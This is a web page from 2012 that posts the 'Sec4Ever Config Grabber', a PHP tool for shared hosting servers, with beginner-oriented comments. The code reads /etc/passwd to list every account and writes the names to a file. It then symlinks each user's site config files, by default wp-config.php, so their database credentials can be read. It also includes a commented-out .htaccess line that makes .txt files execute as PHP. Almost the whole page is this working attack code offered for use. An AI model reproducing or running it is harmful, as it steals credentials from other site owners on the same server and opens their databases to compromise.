facebook facebook twitter rss

Sec4Ever Config Grabber

Author: DamaneDz , Published: 17-12-2012
<title>Sec4Ever Config Grabber By Damane2011</title>
<link href='http://www.sec4ever.com/home/sec4ever.gif' type='image/x-icon' rel='shortcut icon' />
body,td,th{ font: 8pt Lucida,Tahoma;margin:0;vertical-align:top;color:#00ff00; }
table.info{ color:#000;background-color:#222; }
text-align: center;
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:7px solid $color;padding: 3px 5px;font: 14pt Verdana;background-color:#333;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#222; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #555;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#999;background-color:#222;border:1px solid $color; font: 8pt Tahoma,"Tahoma"; }
font-size: 36px;
text-align: center;
color: #FFFFFF;
background-color: #000000;
font-family: Georgia, "Times New Roman", Times, serif;
#textarea {
background-color: #000000;
-moz-border-radius: 15px;
-webkit-border-radius: 15px;
border: 1px solid #FF0000;
padding: 5px; color:#FF0000
<div align="center" class="style">Sec4Ever Config Grabber By Damane2011 (PHP Version)</div>
<form action="" method="post">
<p align="center">
<font size="5">Configs Path:</font>
<p align="center"><textarea id="textarea" name="configs" cols="100" rows="18" >blog/wp-config.php</textarea>
<p align="center"><font size="5">Home Path:</font>
<p align="center"><input name="home" type="text" size="30" value="/home"/><br>
<p align="center"><font size="5">Files Path:</font>
<p align="center"><input name="public" type="text" size="30" value="/public_html"/><br>
<p align="center"><input name="symlink" size="80" value="Symlink" type="submit">

File Writed By Damane2011 / Idea By LiON H34RT

Email: Damane-Dz@hotmail.com

Twitter: @DamaneDz

Before Using This File Please Check The Disabled Function

You Can Use This File To Check Them


P.S: Symlink Function Is Very Requested

The Below Comments Was Created Just to Help Beginner


set_time_limit(0); // no time limit


$configs = explode("\n",$_POST["configs"]);

$public = $_POST['public'];

$home = $_POST['home'];

$passwd = fopen("/etc/passwd", "rb"); // Read Passwd File

while (!feof($passwd) ) {
$lines = fgets($passwd); // >> Get Contents Of The Passwd File
$user = explode(':', $lines); // Explode The Passwd File By :

file_put_contents("users.txt" , $user[0]."\n", FILE_APPEND); // Write A New File Contain Users

// StarT Symlinking ...

foreach ($configs as $config){

//$home.'/'.$user[0].$public.'/'.$config >> Traget Config
//$user[0].'_'.$config.'.txt' >> File Link Name

symlink($home.'/'.$user[0].$public.'/'.$config, $user[0].'_'.$config.'.txt');

// Symlink Function Requested Check Your Disabled Function

if (file_exists($user[0].'_'.$config.'.txt')){
echo "<p align='center'><font color='red'>Symlink: $link</font></p>";

// Done Symilnking :p
// Generate .htaccess Delete The // To Activate The Action :p
// file_put_contents(".htaccess" , "AddHandler php-script .txt\nAddType text/html htm html php\n", FILE_APPEND);

// Oh FinallY :p !!
print "<p align='center'><font color='#F6358A' size='4'>DonE !</p>";
<p> &nbsp;</p>
<p> &nbsp;</p>
<p align="center"><font color="#F6358A" size="4">By Damane2011(Damane-Dz@hotmail.com)</font><br><br>
MaDe in AlGeria 2012 &copy</p>
// EOF !!

Like us on Facebook :